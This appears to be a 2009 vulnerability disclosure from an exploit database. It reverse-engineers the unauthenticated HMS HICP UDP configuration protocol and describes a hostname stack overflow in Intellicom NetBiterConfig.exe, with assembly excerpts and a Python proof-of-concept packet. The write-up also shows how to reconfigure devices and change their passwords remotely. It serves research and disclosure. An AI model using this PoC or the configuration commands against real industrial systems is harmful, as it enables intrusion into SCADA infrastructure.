More info http://reversemode.com/index.php?option=com_content&task=view&id=65&Itemid=1 ----- 1st PART "HMS HICP Protocol" AFAIK there is no public documentation about this protocol, if not so please let me know and I'll repeatedly hit myself with a sharpened stick.All the information presented here has been obviously obtained by reverse engineering. Despite of the fact that this protocol is not complex,I think it has a potential interest regarding SCADA security.You'll see why. HICP, is intented to configure HMS's products that include ethernet/ capabilities, since they need a method for configuring Internal IP,DCHP,NetworkMask,DNS,gateway.... In 2004 HMS released a free tool named "Anybus IPconfig" which can be used to scan a network where the devices are connected, then proceeding to configure them. The components of this application are a simple MFC based GUI and a dll (hicp.dll). So let's take a look at the exports: Code (asm) .text:100027AF ; int __cdecl HICP_SendModuleScan() .text:100027AF public ?HICP_SendModuleScan@@YAHXZ .text:100027AF ?HICP_SendModuleScan@@YAHXZ proc near .text:100027AF push ebp .text:100027B0 mov ebp, esp .text:100027B2 call sub_10002175 .text:100027B7 pop ebp .text:100027B8 retn .text:100027B8 ?HICP_SendModuleScan@@YAHXZ endp In C Code (c) sprintf(&Dest, "Module Scan"); to.sa_family = AF_INET; *(_WORD *)&to.sa_data = htons(HICP_PORT); // 3250 UDP *(_DWORD *)&to.sa_data = htonl(IP_BROADCAST); v1 = strlen(&Dest); if ( sendto(s, &Dest, v1 + 1, 0, &to, 16) != -1 ) So we can see that in order to scan the network, this tool sends a broadcast UDP packet containing the string "Module Scan" to the HICP port (3250). Inside HMS-AnyBus based devices we can find a hicp daemon listening on port 3250. Once the device receives that packet it broadcasts a reply, which contains its current configuration, to the network on port 3250. The configure Tool listens on this port as well. Let's see what parameters can be configured via this protocol. Any value after the '=' can be modified. +“Protocol version = 1.10; ” # Obvious +”fb type = EVIL-DEVICE; ” # Device Type +”module version = 0.66.6; ” # ... +”mac = 00-30-11-00-CA-FE; ” # MAC +”ip = 192.168.1.252; ” # ... +”sn = 255.255.255.0; ” # Network Mask +”gw = 192.168.1.1; ” # Gateway +”dhcp = off; ” # whether the device is using a DHCP server for obtaining the IP address. (on/off) +”pswd = off; ” # whether the device is using a PASSWORD(on/off) +”hn = morroBufalo; ” # hostname (optional) +”dns1 = 192.168.1.33; ” # Primary DNS +”dns2 = 192.168.1.34; ” # Secondary DNS (optional) +”password = admin; ” # old password (if any, admin by default) +”new password = fatbird; ” # new password These parameters are sent in a UDP packet in plain text, concatenating each one and separated by a ";". If you want to configure a device, you need to prepend a "Configure:" string in this wayt: "Configure: xx-xx-xx-xx-xx-xx;"+ parameters_string. Where xx-xx-xx-xx-xx-xx is the MAC of the device you want to configure. You can take a look at HICP_SendConfigure code to verity it. This request is broadcasted so is received by any device/machine in the network listening on 3250/UDP. The device checks the MAC against it own and if matches then proceeds to update its internal registers.The first three bytes of the MAC are always 00-30-11 which correspond to the HMS' oui as expected. In addition to this request, there are a couple of additional replyes implemented: + "Invalid Password:" to indicate a failed configuration attempt + "Reconfigured:" to indicate success. That's all. Make your own conclusions about the security level of this protocol.I'm just presenting facts. ---------------- 2nd Part "Intellicom NetBiterConfing.exe Remote Stack Overwrite". Oday Light. Another swedish company this time, Intellicom develops a serie of SCADA products/devices named NetBiter WebSCADA which are based on HMS AnyBus RemoteCOM device. We can download the firmware, as well as two tools to configure and update these devices respectively.Free goods are always nice. First off, taking a look at the GUI of the tool for configuring devices, NetBiterConfig.exe, we can see that looks pretty similar to the HMS one.Except for a couple of added buttons, one to "wink" a device and the other is to start an "emergency" DHCP server, the tools contains the same components: hicp.dll and a MFC GUI. However, this one contains a surprise. Ok, NetBiterConfig.exe is listening on 3250/UDP receiving packets for any interface, so we can send a specially crafted UDP packet from outside the network to trick the tool into thinking we are a NetBiter device. If we fill "hn" parameter (HostName) with more than 0x20 bytes, we can start to overwrite data in the stack. By constructing a hostname of 0x60 bytes we can overwrite a pointer to an vtable of application's subclassing methods, this can be used to achieve code execution by emulating a vtable under our control. 0x60 is not an arbitrary value, it allows us to get %esi pointing to the last 0x20 (approximately) bytes of our shellcode. The flaw is triggered when the admin double-clicks in the list box item. The flaw is a classic strcpy without proper bounds checking in NetBiterConfig.exe Code (asm) .text:00403E52 lea edx, [ebp-0ABh] .text:00403E58 push edx ; evil hostname .text:00403E59 lea eax, [ebp-3CCh] .text:00403E5F push eax .text:00403E60 call strcpy The flaw does not exist in AnybusIpconfig.exe since it uses "strncpy": Code (asm) .text:00403691 push 80h .text:00403696 lea eax, [esp+0E1h] .text:0040369D push eax .text:0040369E lea ecx, [esp+494h] .text:004036A5 push 80h .text:004036AA push ecx .text:004036AB mov byte ptr [esp+530h], 1 .text:004036B3 call sub_425666 …. …. .text:004256D9 mov cl, [edx] .text:004256DB mov [eax], cl .text:004256DD inc eax .text:004256DE inc edx .text:004256DF cmp cl, bl .text:004256E1 jz short loc_4256EB .text:004256E3 dec edi .text:004256E4 jz short loc_4256EB .text:004256E6 dec [ebp+arg_C] .text:004256E9 jnz short loc_4256D9 -------- PoC Code (python) #!/usr/bin/python # Intellicom NetBiterConfig.exe 1.3.0 Remote Buffer Overflow. # Ruben Santamarta - www.reversemode.com # For research purposes ONLY. import sys import socket s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.connect(("10.10.10.10",3250)) s.send("protocol version = 1.10; " +"fb type = EVIL-DEVICE; " +"module version = 0.66.6; " +"mac = 00-30-11-00-BA-CA; " +"ip = 192.168.1.52; " +"sn = 255.255.255.0; " +"gw = 192.168.1.1; " +"dhcp = off; " +"pswd = off; " +"hn = "+"A"*0×60+"; " +"dns1 = 192.168.1.33;") Another interesting thing is that you can download the firmware for free. The firmware is a .bin file that is comprised of a 0x5F bytes header, which includes a magic 'NBU'+MajorMinorVersion+ImageSize+Checksum+VersionString, followed by a simple gz file so if we cut off the header we can decompress the remaining gz file. Cool. The firmware is a custom linux for MotorolaColdFire processor. It contains interesting stuff like hardcoded passwords... Regards, Rubén.
Related ExploitsTrying to match CVEs (1): CVE-2009-4462
Trying to match OSVDBs (2): 61018, 63325
Other Possible E-DB Search Terms: HMS HICP Protocol + Intellicom
|2009-12-14||Intellicom 1.3 - 'NetBiterConfig.exe Hostname' Data Remote Stack Buffer Overflow (PoC)||Ruben Santa...|